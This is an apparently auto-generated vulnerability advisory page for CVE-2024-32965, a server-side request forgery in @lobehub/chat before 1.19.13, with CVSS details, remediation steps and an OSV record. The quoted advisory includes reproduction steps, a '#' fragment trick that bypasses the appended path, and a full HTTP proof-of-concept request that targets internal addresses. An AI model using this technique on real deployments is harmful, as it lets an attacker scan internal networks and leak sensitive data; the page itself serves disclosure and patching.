CVE-2024-32965: @lobehub/chat @lobehub/chat Server Side Request Forgery Vulnerability

Q: What is CVE-2024-32965?

CVE-2024-32965 is a security vulnerability in @lobehub/chat involving @lobehub/chat Server Side Request Forgery vulnerability under CWE-918: Server-Side Request Forgery (SSRF).

Q: Which @lobehub/chat versions are affected?

Affected versions include releases prior to 1.19.13 across affected packages: @lobehub/chat.

Q: What version fixes CVE-2024-32965?

Upgrading to 1.19.13 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is @lobehub/chat affected?

Yes, @lobehub/chat is affected in releases prior to 1.19.13. Upgrade your dependency to 1.19.13 or later.

Q: What is the CVSS score of CVE-2024-32965?

CVE-2024-32965 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L.

Q: What CWE is associated with CVE-2024-32965?

CVE-2024-32965 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).

Q: How can I check npm dependencies for CVE-2024-32965?

Run the dependency tree command: 'npm ls @lobehub/chat'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

HIGH

Advisory Identifier: GHSA-2xcc-vm3f-m8rw

CVSS 8.1

CWE-918

Published 2024-11-26

Advisory Summary

CVE-2024-32965 is a HIGH (CVSS 8.1) @lobehub/chat server side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @lobehub/chat libraries in the npm ecosystem. The issue involves @lobehub/chat server side request forgery vulnerability. Remediation is available by upgrading affected packages to version 1.19.13.

CVE-2024-32965 at a Glance

CVE Identifier CVE-2024-32965

GHSA Identifier GHSA-2xcc-vm3f-m8rw

Severity HIGH

CVSS v3.1 Base Score 8.1

CWE Classification CWE-918: Server-Side Request Forgery (SSRF)

Affected Product @lobehub/chat

Package Ecosystem npm

Published Date 2024-11-26

Last Updated 2024-11-26

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L).

Attack Vector Network (AV:N)

Attack Complexity High (AC:H)

Privileges Required None (PR:N)

User Interaction None (UI:N)

Scope Changed (S:C)

Confidentiality High (C:H)

Integrity Low (I:L)

Availability Low (A:L)

How to Fix CVE-2024-32965

To remediate this vulnerability, upgrade all affected @lobehub/chat dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@lobehub/chat fixed: 1.19.13

npm install @lobehub/chat@1.19.13

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @lobehub/chat

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-32965, inspect your project dependencies using npm:

npm ls @lobehub/chat

Analyze the terminal output to locate any version of @lobehub/chat in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.19.13), your application is affected.

Note: The npm ls @lobehub/chat command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @lobehub/chat, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. ### Details * visit https://chat-preview.lobehub.com/ * click settings -> llm -> openai * fill the OpenAI API Key you like * fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#") * then lobe will echo the ssrf result The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web. ![image](https://github.com/lobehub/lobe-chat/assets/55245002/d55e21e0-59d8-4a8e-8c56-4bcda3302dc2) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/86833362-4e9e-4d07-9542-420db541f7a4) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/d8891a1b-5b6f-434d-8125-8da46055a935) ### PoC ```http POST /api/chat/openai HTTP/2 Host: chat-preview.lobehub.com Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0 Content-Length: 158 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4 Content-Type: application/json X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0= Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/llm Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 Connection: close {"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]} ``` ### Impact SSRF, All users will be impacted.

CVE-2024-32965 Affected @lobehub/chat Versions

1 component(s)

Fixed Versions:

1.19.13

Product / Package	Ecosystem	Affected Versions	Fixed Version
@lobehub/chat npm/@lobehub/chat	npm	< 1.19.13	1.19.13

References

GitHub Advisory / Wiki ADVISORY

https://github.com/lobehub/lobe-chat/security/advisories/GHSA-2xcc-vm3f-m8rw

NVD — CVE-2024-32965 NVD

https://nvd.nist.gov/vuln/detail/CVE-2024-32965

Security Fix Commit FIX COMMIT

https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf

@lobehub/chat Source Repository REPOSITORY

https://github.com/lobehub/lobe-chat

Frequently Asked Questions

What is CVE-2024-32965?

CVE-2024-32965 is a security vulnerability in @lobehub/chat involving @lobehub/chat Server Side Request Forgery vulnerability under CWE-918: Server-Side Request Forgery (SSRF).

Which @lobehub/chat versions are affected?

Affected versions include releases prior to 1.19.13 across affected packages: @lobehub/chat.

What version fixes CVE-2024-32965?

Upgrading to 1.19.13 (or the latest patched release for your respective branch) resolves the vulnerability.

Is @lobehub/chat affected?

Yes, @lobehub/chat is affected in releases prior to 1.19.13. Upgrade your dependency to 1.19.13 or later.

What is the CVSS score of CVE-2024-32965?

CVE-2024-32965 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L.

What CWE is associated with CVE-2024-32965?

CVE-2024-32965 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).

How can I check npm dependencies for CVE-2024-32965?

Run the dependency tree command: 'npm ls @lobehub/chat'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2xcc-vm3f-m8rw",
  "modified" : "2024-11-26T21:43:24Z",
  "published" : "2024-11-26T15:39:38Z",
  "aliases" : [ "CVE-2024-32965" ],
  "summary" : "@lobehub/chat Server Side Request Forgery vulnerability",
  "details" : "### Summary\nlobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/\n* click settings -> llm -> openai\n* fill the OpenAI API Key you like\n* fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path \"/chat/completions\" which can be bypassed with sharp like \"http://172.23.0.1:8000/#\")\n* then lobe will echo the ssrf result\n\nThe jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d55e21e0-59d8-4a8e-8c56-4bcda3302dc2)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/86833362-4e9e-4d07-9542-420db541f7a4)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d8891a1b-5b6f-434d-8125-8da46055a935)\n\n\n\n### PoC\n```http\nPOST /api/chat/openai HTTP/2\nHost: chat-preview.lobehub.com\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0\nContent-Length: 158\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nX-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4\nContent-Type: application/json\nX-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/llm\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\nConnection: close\n\n{\"model\":\"gpt-3.5-turbo\",\"stream\":true,\"frequency_penalty\":0,\"presence_penalty\":0,\"temperature\":0.6,\"top_p\":1,\"messages\":[{\"content\":\"hello\",\"role\":\"user\"}]}\n```\n\n### Impact\nSSRF, All users will be impacted.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@lobehub/chat"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.19.13"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-2xcc-vm3f-m8rw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-32965"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lobehub/lobe-chat"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-26T15:39:38Z",
    "nvd_published_at" : "2024-11-26T19:15:23Z"
  }
}

CVSS V3

8.1 HIGH